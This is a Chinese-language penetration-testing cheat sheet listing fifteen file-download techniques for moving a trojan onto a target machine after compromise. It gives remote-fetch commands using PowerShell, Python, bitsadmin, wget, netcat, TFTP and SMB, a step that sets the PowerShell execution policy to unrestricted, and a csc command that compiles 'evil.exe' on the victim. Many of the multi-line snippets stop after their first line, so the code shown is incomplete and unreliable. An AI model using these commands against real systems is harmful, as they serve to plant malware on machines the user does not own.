0x01 PowerShell 文件下载
1 | $p = new-object system.net.webclient |
当然也可以直接将上面语句写入到一个脚本中,比如test.ps1
然后powershell window中
1 | .test.ps1 |
执行。
当然,默认情况下是无法执行powershell脚本的,需要在管理员权限下修改配置
1 | powershell set-executionpolicy unrestricted |
0x02 Visual Basic 文件下载
1 | Set args = Wscript.Arguments |
将上述代码保存在test.vbs
然后使用
1 | cscript test.vbs |
执行文件下载
0x03 Perl 文件下载
1 | perl -MLWP::Simple -e 'getstore ("http://www.163.com/","163.html")' |
0x04 Python 文件下载
1 | python -c "import urllib2;u=urllib2.urlopen("http://xx.xxx.xx/1.py");localfile=open('c:\users\pino\file\1.py','w');localfile.write(u.read());localfile.close();" |
0x05 Ruby 文件下载
1 | #!ruby |
0x06 PHP 文件下载
1 | <? |
0x07 FTP文件下载
我们可以将想要执行的命令先写入一个txt中,然后用ftp命令就好了
1.txt
1 | open 127.0.0.1 |
然后在命令行中执行
1 | ftp -i -s:1.txt |
0x08 TFTP 文件下载
windows7 下默认是没有tftp的,可以WIN+R,然后输入appwiz.cpl,点击左侧的打开或关闭windows功能后,选中TFTP客户端即可启用TFTP客户端。
1 | tftp -i host(本地的,这里可以是127.0.0.1) GET c:\users\pino\1.py(用于保存在本地的文件名) xxx.xx.xxx.xxx\1.py(远程tftp服务器上的文件) |
0x09 bitsadmin 文件下载
bitsadmin是windows下的一个命令行工具
1 | bitsadmin /transfer name(这个随便写,是任务名称) http://192.168.43.68:8000/1.py c:\users\pino\1.py |
0xA Wget 文件下载
1 | wget http://192.168.43.68:8000/1.py |
0xB netcat 文件下载
攻击者在linux下输入命令
1 | cat file|nc -l 1234 |
这样把文件file的内容重定向到了攻击者的1234端口,无论谁访问攻击者的ip的这个端口,都能下载到文件了
1 | nc host_ip 1234 > file |
0xC Windows 共享 文件下载
1 | net use x: \\192.156.1.17\temp$ "password" /user:username |
$符号这里是在本地隐藏,写不写都行
0x0D Notepad 文件下载
这个姿势很神奇。
首先打开notepad,就是我们常说的记事本,点击文件-》打开,在文件名称内输入完整的URL,回合,就会发现记事本中的内容就是我们访问的URL的文本内容。
0x0E 使用powershell nishang 进行文件下载
nishang 是一个很不错的powershell渗透框架,在github上能够找到,里面有很多实用的渗透脚本,这里我们可以用ExeToText脚本,将想要下载的exe文件转换成txt,在用记事本打开,然后复制其中的内容,通过rdp剪贴板复制到目标机器上的txt文本,再通过TextToExe脚本转换为exe就好了。
0x0F 实用csc工具实现类文件下载
通常在渗透的过程中我们下载是为了将我们的木马传到目标机器上,因此我们可以另转思路,将木马的源码写好,直接在目标及其上编译就好了。在Windows下,c的编译器默认是在C:\Windows\Microsoft.NET\framework\version,version的话,不同位数的机器不一样,看情况而定,里面的csc.exe就是了。使用下面的命令
1 | csc.exe /out:c:\users\pino\evil.exe c:\users\pino\evil.c |